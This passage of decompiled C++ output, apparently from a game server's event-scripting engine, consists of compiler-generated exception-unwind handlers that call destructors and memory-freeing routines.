EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592ED0) -------------------------------------------------------- void __usercall _L154711(int a1) { PineEventScriptNode::CalculateOperator::_CalculateOperator(*(PineEventScriptNode::CompareOperator **)(a1 - 16)); } //----- (00592ED8) -------------------------------------------------------- void __usercall _L154712(int a1) { PineEventScriptNode::Term::_Term((PineEventScriptNode::Term *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (00592EE3) -------------------------------------------------------- void __usercall _L154713(int a1) { PineEventScriptNode::CalculateOperator::_CalculateOperator((PineEventScriptNode::CompareOperator *)(*(_DWORD *)(a1 - 16) + 16)); } //----- (00592EEE) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1Express_PineEventScriptNode__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592F00) -------------------------------------------------------- void __usercall _L154855(int a1) { PineEventScriptNode::CalculateOperator::_CalculateOperator(*(PineEventScriptNode::CompareOperator **)(a1 - 16)); } //----- (00592F08) -------------------------------------------------------- void __usercall _L154856(int a1) { PineEventScriptNode::Express::_Express((PineEventScriptNode::Express *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (00592F13) -------------------------------------------------------- void __usercall _L154857(int a1) { PineEventScriptNode::CalculateOperator::_CalculateOperator((PineEventScriptNode::CompareOperator *)(*(_DWORD *)(a1 - 16) + 288)); } //----- (00592F21) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1Condition_PineEventScriptNode__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592F30) -------------------------------------------------------- void __usercall _L156455(int a1) { std::_Mutex::__Mutex((std::_Mutex *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (00592F50) -------------------------------------------------------- void __usercall _L166958(int a1) { std::_Lockit::__Lockit((std::_Lockit *)(a1 - 28)); } //----- (00592F58) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler____use_facet_V__numpunct_D_std___std__YAABV__numpunct_D_0_ABVlocale_0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592F70) -------------------------------------------------------- void __usercall _L167234(int a1) { operator delete__(*(void **)(a1 + 4)); } //----- (00592F7B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Enlargement___List_VBlock_PineEventScriptNode____QAEEH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592F90) -------------------------------------------------------- void __usercall _L156721(int a1) { std::codecvt_base::_codecvt_base(*(std::num_get > > **)(a1 - 132)); } //----- (00592F9B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0__num_put_DV__ostreambuf_iterator_DU__char_traits_D_std___std___std__QAE_I_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592FB0) -------------------------------------------------------- void __usercall _L157339(int a1) { std::basic_iostream>::_basic_iostream>((std::basic_iostream > *)(*(_DWORD *)(a1 - 16) - 72)); } //----- (00592FBB) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1__basic_stringstream_DU__char_traits_D_std__V__allocator_D_2__std__UAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592FD0) -------------------------------------------------------- void __usercall _L157618(int a1) { std::basic_streambuf>::_basic_streambuf>(*(std::basic_streambuf > **)(a1 - 16)); } //----- (00592FD8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0__basic_stringbuf_DU__char_traits_D_std__V__allocator_D_2__std__QAE_H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00592FF0) -------------------------------------------------------- void __usercall _L160348(int a1) { std::basic_ostream>::_Sentry_base::__Sentry_base(*(std::basic_istream >::sentry **)(a1 - 16)); } //----- (00592FF8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1sentry___basic_ostream_DU__char_traits_D_std___std__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00593010) -------------------------------------------------------- void __usercall _L157959(int a1) { std::locale::_locale((std::locale *)(a1 - 20)); } //----- (00593018) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__widen___basic_ios_DU__char_traits_D_std___std__QBEDD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00593030) -------------------------------------------------------- void __usercall _L158172(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00593038) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_VStatement_PineEventScriptNode____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00593050) -------------------------------------------------------- void __usercall _L158198(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00593058) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_VBlock_PineEventScriptNode____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00593078) -------------------------------------------------------- void __usercall _L158407(int a1) { PineEventScriptNode::BlockName::_BlockName((PineEventScriptNode::BlockName *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (00593090) -------------------------------------------------------- void __usercall _L158581(int a1) { PineEventScriptNode::CalculateOperator::_CalculateOperator(*(PineEventScriptNode::CompareOperator **)(a1 - 16)); } //----- (00593098) -------------------------------------------------------- void __usercall _L158582(int a1) { _eh_vector_destructor_iterator_( (void *)(*(_DWORD *)(a1 - 16) + 4), 0xCu, 64, (void (__thiscall *)(void *))PineEventScriptNode::Identify::_Identify); } //----- (005930AE) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0StateVarDeclear_PineEventScriptNode__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005930C0) -------------------------------------------------------- void __usercall _L158817_0(int a1) { PineEventScriptNode::CalculateOperator::_CalculateOperator(*(PineEventScriptNode::CompareOperator **)(a1 - 16)); } //----- (005930C8) -------------------------------------------------------- void __usercall _L158818(int a1) { PineEventScriptNode::Identify::_Identify((PineEventScriptNode::Identify *)(*(_DWORD *)(a1 - 16) + 36)); } //----- (005930D3) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1OtherStatement_PineEventScriptNode__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00593110) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler_____6DU__char_traits_D_std__V__allocator_D_1__std__YAAAV__basic_ostream_DU__char_traits_D_std___0_AAV10_ABV__basic_string_DU__char_traits_D_std__V__allocator_D_2__0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00593128) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler_____6U__char_traits_D_std___std__YAAAV__basic_ostream_DU__char_traits_D_std___0_AAV10_PBD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00593150) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___6__basic_ostream_DU__char_traits_D_std___std__QAEAAV01_H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00593160) -------------------------------------------------------- void __usercall _L162046(int a1) { PineEventScriptNode::CalculateOperator::_CalculateOperator(*(PineEventScriptNode::CompareOperator **)(a1 - 24)); } //----- (00593168) -------------------------------------------------------- void __usercall _L162047(int a1) { PineEventScriptNode::BlockName::_BlockName((PineEventScriptNode::BlockName *)(*(_DWORD *)(a1 - 24) + 4)); } //----- (00593173) -------------------------------------------------------- void __usercall _L162048(int a1) { operator delete(*(void **)(a1 - 20)); } //----- (0059317E) -------------------------------------------------------- void __usercall _L162094(int a1) { operator delete__(*(void **)(a1 - 16)); } //----- (005931A8) -------------------------------------------------------- void __usercall _L162135(int a1) { PineEventScriptNode::Condition::_Condition((PineEventScriptNode::Condition *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (005931C0) -------------------------------------------------------- void __usercall _L162250(int a1) { operator delete(*(void **)(a1 - 276)); } //----- (005931CE) -------------------------------------------------------- void __usercall _L162252(int a1) { operator delete(*(void **)(a1 - 276)); } //----- (005931DC) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Load_StateIf_PineEventScriptNode__UAEGPAVTokenReader_PineScriptReader___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005931FB) -------------------------------------------------------- void __usercall _L162691(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00593206) -------------------------------------------------------- void __usercall _L162692(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00593211) -------------------------------------------------------- void __usercall _L162693(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0059321C) -------------------------------------------------------- void __usercall _L162699(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00593232) -------------------------------------------------------- void __usercall _L162701(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0059323D) -------------------------------------------------------- void __usercall _L162702(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00593248) -------------------------------------------------------- void __usercall _L162703(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00593253) -------------------------------------------------------- void __usercall _L162704(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00593269) -------------------------------------------------------- void __usercall _L162706(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00593274) -------------------------------------------------------- void __usercall _L162707(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0059327F) -------------------------------------------------------- void __usercall _L162708(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0059328A) -------------------------------------------------------- void __usercall _L162709(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (005932A0) -------------------------------------------------------- void __usercall _L162711(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (005932AB) -------------------------------------------------------- void __usercall _L162712(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (005932B6) -------------------------------------------------------- void __usercall _L162713(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (005932C1) -------------------------------------------------------- void __usercall _L162714(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (005932D7) -------------------------------------------------------- void __usercall _L162716(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (005932E2) -------------------------------------------------------- void __usercall _L162717(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (005932ED) -------------------------------------------------------- void __usercall _L162718(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (005932F8) -------------------------------------------------------- void __usercall _L162719(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0059330E) -------------------------------------------------------- void __usercall _L162721(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00593319) -------------------------------------------------------- void __usercall _L162722_0(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00593324) -------------------------------------------------------- void __usercall _L162723_0(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0059332F) -------------------------------------------------------- void __usercall _L162724_0(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00593345) -------------------------------------------------------- void __usercall _L162726(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00593350) -------------------------------------------------------- void __usercall _L162727(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0059335B) -------------------------------------------------------- void __usercall _L162728(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00593366) -------------------------------------------------------- void __usercall _L162729(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0059337C) -------------------------------------------------------- void __usercall _L162731(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00593387) -------------------------------------------------------- void __usercall _L162732(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00593392) -------------------------------------------------------- void __usercall _L162733(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0059339D) -------------------------------------------------------- void __usercall _L162734(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (005933B3) -------------------------------------------------------- void __usercall _L162736(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (005933BE) -------------------------------------------------------- void __usercall _L162737(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (005933C9) -------------------------------------------------------- void __usercall _L162738(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (005933D4) -------------------------------------------------------- void __usercall _L162739(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (005933EA) -------------------------------------------------------- void __usercall _L162741(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (005933F5) -------------------------------------------------------- void __usercall _L162742(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00593400) -------------------------------------------------------- void __usercall _L162743(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0059340B) -------------------------------------------------------- void __usercall _L162744(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00593421) -------------------------------------------------------- void __usercall _L162746(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0059342C) -------------------------------------------------------- void __usercall _L162747(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00593437) -------------------------------------------------------- void __usercall _L162748(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00593442) -------------------------------------------------------- void __usercall _L162749(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00593458) -------------------------------------------------------- void __usercall _L162751_0(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00593463) -------------------------------------------------------- void __usercall _L162752(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0059346E) -------------------------------------------------------- void __usercall _L162753(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00593479) -------------------------------------------------------- void __usercall _L162754(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0059348F) -------------------------------------------------------- void __usercall _L162756(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0059349A) -------------------------------------------------------- void __usercall _L162757(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (005934A5) -------------------------------------------------------- void __usercall _L162758(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (005934B0) -------------------------------------------------------- void __usercall _L162759(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (005934C6) -------------------------------------------------------- void __usercall _L162761(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (005934D1) -------------------------------------------------------- void __usercall _L162762(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (005934DC) -------------------------------------------------------- void __usercall _L162763(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (005934E7) -------------------------------------------------------- void __usercall _L162764(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (005934FD) -------------------------------------------------------- void __usercall _L162766(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00593508) -------------------------------------------------------- void __usercall _L162767(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00593513) -------------------------------------------------------- void __usercall _L162768(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0059351E) -------------------------------------------------------- void __usercall _L162769(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00593534) -------------------------------------------------------- void __usercall _L162771(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0059353F) -------------------------------------------------------- void __usercall _L162772(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0059354A) -------------------------------------------------------- void __usercall _L162773(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00593555) -------------------------------------------------------- void __usercall _L162774(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0059356B) -------------------------------------------------------- void __usercall _L162776(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00593576) -------------------------------------------------------- void __usercall _L162777(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00593581) -------------------------------------------------------- void __usercall _L162778(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0059358C) -------------------------------------------------------- void __usercall _L162779(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00593597) -------------------------------------------------------- void __usercall _L162780(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (005935C0) -------------------------------------------------------- void __usercall _L166165(int a1) { if ( *(_DWORD *)(a1 - 20) & 1 ) { *(_DWORD *)(a1 - 20) &= 0xFFFFFFFEu; std::basic_ios>::_basic_ios>((std::basic_ios > *)(*(_DWORD *)(a1 - 16) + 12)); } } //----- (005935DC) -------------------------------------------------------- void __usercall _L166167(int a1) { std::basic_istream>::_basic_istream>((std::basic_istream > *)(*(_DWORD *)(a1 - 16) + 8)); } //----- (00593600) -------------------------------------------------------- void __usercall _L166341(int a1) { std::locale::_locale((std::locale *)(a1 - 80)); } //----- (00593608) -------------------------------------------------------- void __usercall _L166342(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 48)); } //----- (00593610) -------------------------------------------------------- void __usercall _L166343(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 76)); } //----- (00593618) -------------------------------------------------------- void __usercall _L166344(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 76)); } //----- (00593620) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__do_put___num_put_DV__ostreambuf_iterator_DU__char_traits_D_std___std___std__MBE_AV__ostreambuf_iterator_DU__char_traits_D_std___2_V32_AAVios_base_2_D_N_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00593630) -------------------------------------------------------- void __usercall _L167006_0(int a1) { operator delete(*(void **)(a1 - 132)); } //----- (0059363E) -------------------------------------------------------- void __usercall _L167009(int a1) { std::codecvt_base::_codecvt_base(*(std::num_get > > **)(a1 - 132)); } //----- (00593649) -------------------------------------------------------- void __usercall _L167010(int a1) { std::_Locinfo::__Locinfo((std::_Locinfo *)(a1 - 128)); } //----- (00593660) -------------------------------------------------------- void __usercall _L167040(int a1) { std::codecvt_base::_codecvt_base(*(std::num_get > > **)(a1 - 16)); } //----- (00593668) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1__numpunct_D_std__MAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00593680) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Init___numpunct_D_std__IAEXABV_Locinfo_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00593690) -------------------------------------------------------- void __usercall _L167277_0(int a1) { PineEventScriptNode::CalculateOperator::_CalculateOperator(*(PineEventScriptNode::CompareOperator **)(a1 - 20)); } //----- (00593698) -------------------------------------------------------- void __usercall _L167278(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (005936C0) -------------------------------------------------------- void __usercall _L167443(int a1) { if ( *(_DWORD *)(a1 - 20) & 1 ) { *(_DWORD *)(a1 - 20) &= 0xFFFFFFFEu; std::basic_ios>::_basic_ios>((std::basic_ios > *)(*(_DWORD *)(a1 - 16) + 84)); } } //----- (005936DC) -------------------------------------------------------- void __usercall _L167445(int a1) { std::basic_iostream>::_basic_iostream>((std::basic_iostream > *)(*(_DWORD *)(a1 - 16) + 12)); } //----- (005936E7) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0__basic_stringstream_DU__char_traits_D_std__V__allocator_D_2__std__QAE_H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00593700) -------------------------------------------------------- void __usercall _L167468(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 44)); } //----- (00593708) -------------------------------------------------------- void __usercall _L167472(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 44)); } //----- (00593710) -------------------------------------------------------- void __usercall _L167473(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 44)); } //----- (00593718) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__str___basic_stringbuf_DU__char_traits_D_std__V__allocator_D_2__std__QBE_AV__basic_string_DU__char_traits_D_std__V__allocator_D_2__2_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00593730) -------------------------------------------------------- void __usercall _L168333(int a1) { std::locale::_locale((std::locale *)(a1 - 52)); } //----- (00593738) -------------------------------------------------------- void __usercall _L168334(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 44)); } //----- (00593740) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Iput___num_put_DV__ostreambuf_iterator_DU__char_traits_D_std___std___std__ABA_AV__ostreambuf_iterator_DU__char_traits_D_std___2_V32_AAVios_base_2_DPADI_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00593750) -------------------------------------------------------- void __usercall _L168722(int a1) { std::locale::_locale((std::locale *)(a1 - 84)); } //----- (00593758) -------------------------------------------------------- void __usercall _L168723(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 44)); } //----- (00593760) -------------------------------------------------------- void __usercall _L168724(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 72)); } //----- (00593780) -------------------------------------------------------- void __usercall _L171077(int a1) { std::basic_stringstream_std::allocator>::_vbase_destructor((std::basic_stringstream,std::allocator > *)(a1 - 148)); } //----- (005937A0) -------------------------------------------------------- void __usercall _L166784_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005937A8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__alkqr_MakeSimpleList_AxialListKQResult__QAEXPAVPineScriptToken__PAUPROTO_NC_KQ_SCORE_SIMPLE_CMD__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005937C0) -------------------------------------------------------- void __usercall _L165301(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 816)); } //----- (005937CB) -------------------------------------------------------- void __usercall _L165302(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 528)); } //----- (005937D6) -------------------------------------------------------- void __usercall _L165303(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 784)); } //----- (005937E1) -------------------------------------------------------- void __usercall _L165304(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (005937EC) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__smb_ObjectRegen_ScriptMobBreeder__QAEGPAVProcessStack_PineScriptStack__PAVShineObject_ShineObjectClass__GPAVArgumentList_PineEventScriptNode___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00593800) -------------------------------------------------------- void __usercall _L165429_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 548)); } //----- (0059380B) -------------------------------------------------------- void __usercall _L165430(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 528)); } //----- (00593816) -------------------------------------------------------- void __usercall _L165431(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00593821) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__smb_ObjectChange_ScriptMobBreeder__QAEGPAVProcessStack_PineScriptStack__PAVShineObject_ShineObjectClass__GPAVArgumentList_PineEventScriptNode___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00593830) -------------------------------------------------------- void __usercall _L165879_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 540)); } //----- (0059383B) -------------------------------------------------------- void __usercall _L165880_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 536)); } //----- (00593846) -------------------------------------------------------- void __usercall _L165881_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (00593851) -------------------------------------------------------- void __usercall _L165882_0(int a1) { AxialListMobCounter::_AxialListMobCounter((AxialListMobCounter *)(a1 - 564)); } //----- (0059385C) -------------------------------------------------------- void __usercall _L165883_0(int a1) { AxialListMobCounter::_AxialListMobCounter((AxialListMobCounter *)(a1 - 564)); } //----- (00593867) -------------------------------------------------------- void __usercall _L165884_0(int a1) { AxialListMobCounter::_AxialListMobCounter((AxialListMobCounter *)(a1 - 564)); } //----- (00593880) -------------------------------------------------------- void __usercall _L166039(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 280)); } //----- (0059388B) -------------------------------------------------------- void __usercall _L166040(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00593896) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sfb_Calculate_SysFuncShineCharClass_PineEventScriptNode__UAEPAVPineScriptToken__PAV3_PAVProcessStack_PineScriptStack__PAVArgumentList_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005938A0) -------------------------------------------------------- void __usercall _L166257(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (005938AB) -------------------------------------------------------- void __usercall _L166258(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (005938B6) -------------------------------------------------------- void __usercall _L166259(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 288)); } //----- (005938C1) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sfb_Calculate_SysFuncShineCircularScatter_PineEventScriptNode__UAEPAVPineScriptToken__PAV3_PAVProcessStack_PineScriptStack__PAVArgumentList_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005938D0) -------------------------------------------------------- void __usercall _L166450(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1068)); } //----- (005938DB) -------------------------------------------------------- void __usercall _L166451(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 536)); } //----- (005938E6) -------------------------------------------------------- void __usercall _L166452(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (005938F1) -------------------------------------------------------- void __usercall _L166453(int a1) { AxialListObjectList::_AxialListObjectList((AxialListObjectList *)(a1 - 1064)); } //----- (005938FC) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sfb_Calculate_SysFuncShineGetObjectList_PineEventScriptNode__UAEPAVPineScriptToken__PAV3_PAVProcessStack_PineScriptStack__PAVArgumentList_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00593910) 